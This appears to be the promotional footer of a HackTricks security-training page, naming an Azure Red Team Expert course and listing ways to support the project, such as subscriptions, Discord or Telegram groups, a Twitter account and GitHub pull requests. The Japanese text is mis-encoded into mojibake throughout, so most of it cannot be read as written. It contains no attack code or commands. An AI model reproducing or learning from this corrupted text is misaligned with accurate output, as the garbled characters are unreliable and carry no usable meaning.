HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


